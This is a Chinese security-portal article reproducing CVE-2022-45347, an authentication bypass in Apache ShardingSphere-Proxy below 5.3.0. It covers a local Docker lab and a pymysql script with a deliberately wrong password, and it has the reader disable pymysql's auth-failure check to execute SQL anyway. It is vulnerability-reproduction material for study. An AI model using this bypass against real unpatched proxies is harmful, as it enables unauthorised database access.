freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Apache ShardingSphere-Proxy MYSQL身份验证绕过漏洞(CVE-2022...
2022-12-23 16:40:01
所属地 北京

漏洞编号:CVE-2022-45347

公开日期:2022.12.22

漏洞描述:ShardingSphere-Proxy在进行MySQL客户端认证失败后,没有彻底清除会话,攻击者可以通过构造一个特殊(认证失败也不会关闭客户端)的mysql客户端来绕过身份认证执行sql语句。

影响范围:ShardingSphere-Proxy<5.3.0

修复建议:该漏洞在 ShardingSphere 5.3.0 版本已经修复

漏洞复现

1.搭建环境

官方文档有介绍可以通过docker快速启动

我们这里选择漏洞版本5.2.1

docker pull apache/shardingsphere-proxy:5.2.1

(官方文档有三种获取docker镜像等方式,这里只介绍第一种,其他的参考官方文档

https://shardingsphere.apache.org/document/current/cn/user-manual/shardingsphere-proxy/startup/docker/

2.配置server.yaml和config-sharding.yaml

我们从docker容器内获取配置文件模版,拷贝到宿主机任意目录中:

docker run -d --name tmp --entrypoint=bash apache/shardingsphere-proxy

docker cp tmp:/opt/shardingsphere-proxy/conf /host/path/to/conf

docker rm tmp

来到拷贝的conf目录下

更改server.yaml和config-sharding.yaml文件

server.yaml

这里配置链接shardingsphere-proxy服务端的账号密码root/root

config-sharding.yaml

这里配置链接的mysql数据库信息,

3.引入第三方依赖

因为ShardingSphere-Proxy 后端连接 PostgreSQL 或 openGauss 数据库,不需要引入额外依赖。

而连接MYSQl数据库时,需要下载依赖 mysql-connector-java-5.1.47.jar或者 mysql-connector-java-8.0.11.jar,并将其放入ext-lib 目录下(ext-lib目录可在任意位置创建)

4.启动ShardingSphere-Proxy 容器

将宿主机中的 conf 与 ext-lib 目录挂载到容器中,启动容器:

docker run -d

-v /host/path/to/conf:/opt/shardingsphere-proxy/conf

-v /host/path/to/ext-lib:/opt/shardingsphere-proxy/ext-lib

-e PORT=3308 -p13308:3308 apache/shardingsphere-proxy:latest

5.构造一个特殊的mysql客户端

根据漏洞描述里可知,ShardingSphere-Proxy在进行mysql客户端连接认证失败后没有彻底清除会话导致的身份验证绕过,

mysql连接时,如果认证失败,会关闭客户端,那如果我们构造一个认证失败也没有关闭的客户端,不就可以用未清除的session连接到ShardingSphere-Proxy服务端,并执行sql语句。

首先用python构造一个连接数据库的脚本 test.py,代码如下:

这里是专门把密码写错,前面设置的时候,我们设置的密码为root,这里为root1


#!/usr/bin/python3

import pymysql

# 打开数据库连接
db = pymysql.connect(host='127.0.0.1',
user='root',
password='root1',
port=13308)

# 使用 cursor() 方法创建一个游标对象 cursor
cursor = db.cursor()

# 使用 execute() 方法执行 SQL 查询
cursor.execute("SELECT version()")

# 使用 fetchone() 方法获取单条数据.
data = cursor.fetchone()

print("Database version : %s " % data)

# 关闭数据库连接
db.close()

然后来到pymysql库的connections文件

(图片为pymysql 1.0.2版本的源码)

可以看到圈起来的为判断连接失败后的代码,我们把这里的代码注释掉,让其不判断是否连接成功,直接return。

来到我们构造的test.py,运行,结果如下:

成功访问数据库版本。

参考链接:

https://nvd.nist.gov/vuln/detail/CVE-2022-45347

https://github.com/apache/shardingsphere

https://shardingsphere.apache.org/document/current/cn/quick-start/shardingsphere-proxy-quick-start/

# 漏洞 # 渗透测试 # 网络安全 # 漏洞分析 # 网络安全技术
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录